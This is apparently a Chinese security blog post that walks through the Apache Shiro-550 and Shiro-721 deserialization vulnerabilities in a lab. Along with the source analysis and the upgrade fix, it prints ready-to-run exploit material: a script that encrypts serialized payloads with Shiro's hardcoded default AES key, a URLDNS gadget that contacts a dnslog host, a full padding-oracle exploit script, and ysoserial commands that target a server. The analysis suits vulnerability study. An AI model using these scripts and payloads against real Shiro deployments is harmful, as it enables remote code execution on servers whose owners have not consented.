Shiro550&721漏洞分析

Shiro550&721漏洞分析

环境搭建

Shiro一把梭哈工具分析

shiro反序列化工具验证是否为shiro框架的原理 通过wireshark发现是发如下的包,http请求包通过Cookie携带rememberMe=yes,然后看Responses包Set-Cookie是否有rememberMe=deleteMe字段判断是否为shiro框架

工具密钥爆破判断原理是,它会用密钥去加密一个值,然后Cookie带着去发包,如果response,SetCookie字段没有rememberMe=deleteMe字段,则表明密钥正确。如下图所示。

上述这个图是密钥枚举错误时候的情况。response包返回了rememberMe=deleteMe字段

Cookie中的rememberMe携带的值是反序列化的数据,这个是执行的命令的base64加密

base64解密就是回显的内容

在下面依赖下扫出来的链子有

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>com.govuln</groupId>
  <artifactId>shirodemo</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>war</packaging>

  <name>shirodemo Maven Webapp</name>
  <url>http://www.example.com</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
  </properties>

  <dependencies>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-core</artifactId>
      <version>1.2.4</version>
    </dependency>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-web</artifactId>
      <version>1.2.4</version>
    </dependency>

    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>provided</scope>
    </dependency>

    <dependency>
      <groupId>javax.servlet.jsp</groupId>
      <artifactId>jsp-api</artifactId>
      <version>2.2</version>
      <scope>provided</scope>
    </dependency>

    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
    <dependency>
      <groupId>commons-logging</groupId>
      <artifactId>commons-logging</artifactId>
      <version>1.2</version>
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-api</artifactId>
      <version>1.7.30</version>
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-simple</artifactId>
      <version>1.7.30</version>
    </dependency>

  </dependencies>

  <build>
    <finalName>shirodemo</finalName>
    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
      <plugins>
        <plugin>
          <artifactId>maven-clean-plugin</artifactId>
          <version>3.1.0</version>
        </plugin>
        <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.8.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.22.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-war-plugin</artifactId>
          <version>3.2.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-deploy-plugin</artifactId>
          <version>2.8.2</version>
        </plugin>
      </plugins>
    </pluginManagement>
  </build>
</project>

[++] 发现构造链:CommonsCollectionsK1  回显方式: AllEcho
[++] 发现构造链:CommonsBeanutilsString_183  回显方式: AllEcho
[++] 发现构造链:CommonsBeanutils1_183  回显方式: AllEcho
[++] 发现构造链:CommonsBeanutilsAttrCompare_183  回显方式: TomcatEcho

550漏洞分析

尝试默认的账户密码root和secret登录,如果reponse的Set-Cookie返回rememberMe返回有deleteMe字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。

从源码的角度分析为何会产生反序列化漏洞

我们在这里就依次找漏洞的调用栈了,我们直接看AbstractRememberMeManager#convertBytesToPrincipals函数,首先进行decrypt解密,然后进行deserialize进行反序列化。我们主要看看加密和解密流程。我们可以看到跟踪这个decrypt函数

发现我们传入的内容是通过这个函数返回的key进行解密的

这个函数呢decryptionCipherKey是通过AbstractRememberMeManager函数来进行set加密密钥和解密密钥的,发现其实是相同key,并且硬编码在shiro的类AbstractRememberMeManager里面

所以我们知道解密过程,也知道加密函数,我们实现一下,把传入的恶意序列化数据加密一下就可以了。就可以实现反序列化攻击了

我们参考其他师傅写的python脚本实现加密和解密的流程:

# -*-* coding:utf-8
# @Time    :  2022/7/13 17:36
# @Author  : Drunkbaby
# @FileName: poc.py
# @Software: VSCode
# @Blog    :https://drun1baby.github.io/

from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext


def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s: s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="  # kPH+bIxk5D2deZiIxcaaaA==
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext


if __name__ == "__main__":
    data = get_file_data("ser3.bin")
    print(aes_enc(data))

import java.io.*;  
import java.lang.reflect.Field;  
import java.net.URL;  
import java.util.HashMap;  
  
public class URLDNSEXP {  
    public static void main(String[] args) throws Exception{  
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();  
 // 这里不要发起请求  
 URL url = new URL("http://9o3hi4.dnslog.cn");  
 Class c = url.getClass();  
 Field hashcodefile = c.getDeclaredField("hashCode");  
 hashcodefile.setAccessible(true);  
 hashcodefile.set(url,1234);  
 hashmap.put(url,1);  
 // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性  
 hashcodefile.set(url,-1);  
 serialize(hashmap);  
 //unserialize("ser.bin");  
 }  
  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
 oos.writeObject(obj);  
 }  
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
 Object obj = ois.readObject();  
 return obj;  
 }  
}

确实收到了dns请求

721漏洞分析

这个漏洞产生的原因还是因为反序列化的原因,在Apache Shiro 1.2.5、1.2.6、1.3.0、1.3.1、1.3.2、1.4.0-RC2、1.4.0、1.4.1版本里面密钥不是硬编码的。但是由于加密算法AES-CBC的涉及缺陷,如果我们获取到一串正确登录的Cookie值,我们可以通过正确的Cookie值来进行Padding Oracle Attack

  • Padding正确,服务器正常响应
  • Padding错误,服务器返回Set-Cookie: rememberMe=deleteMe

https://github.com/inspiringz/Shiro-721/blob/master/exp/shiro_exp.py

# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']

        # logging.debug(self.session.cookies)

        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        # logging.debug(response.headers)

        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # logging.debug("Padding exception")
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))

    padbuster = PadBuster()

    payload = open(sys.argv[3], 'rb').read()

    enc = padbuster.encrypt(plaintext=payload, block_size=16)

    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
    print('rememberMe cookies:')
    print(b64encode(enc))

漏洞复现过程:

java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
python2 shiro721.py http://192.168.110.111:8080/login.jsp PsOeYX42xS/fLAjPTlkTdE8EW/QvCDdj/2UDDfGOxCNIUck+tMRjbYM7TIoNOP/FOXkEfOPoCCR/qfH2ci9W+8+aWWwvZUwO98+KN9dZoEGCCLyabFdtnO45lsaoV7AUNGe7CE4W3nM2R0saIrUDDr1pzWhsvPad4H0RicieJmYcHvUphnTGJRV+aNzbPoJ2FvEVCijODstaaATw4SkXLfE+47LiPCCj2hBZAJkSGikdwDZrQEasEN111rq0zdUn3VMBIdVmN2ouLffrXeUd++EjIK3PZPUaYFHt0sjmlMxTEfTgcn/VaHBdutVubR795DFzMCFKS7D7MYlYQeDUnkzB20JKm9xGrVusq/XDvvE8Y7IztBzNEm92wbSWf5WwsfXM6elL6shTg0zVxz+hubz5bIP+2hAblC3OxbbLkqjFOlOfYyX2cGgGEXrz9n6YIrvy4BJ01XQ0KVUgf6IjO8MPyIGkgB2I+7MNTVQP/ddzrqSuVbRgPIVFfC5WVAM2 poc.ser

中间的值是正确登录后的rememberMe的值,注意反序列化的时候要把JSESSIONID删除掉,反则不会进行反序列化操作

爆破的时间比较久

修复方式 更新到1.4.2版本之后即可

参考:

https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/#URLDNS-%E9%93%BE

https://liaoxuefeng.com/books/java/oop/core/javabean/index.html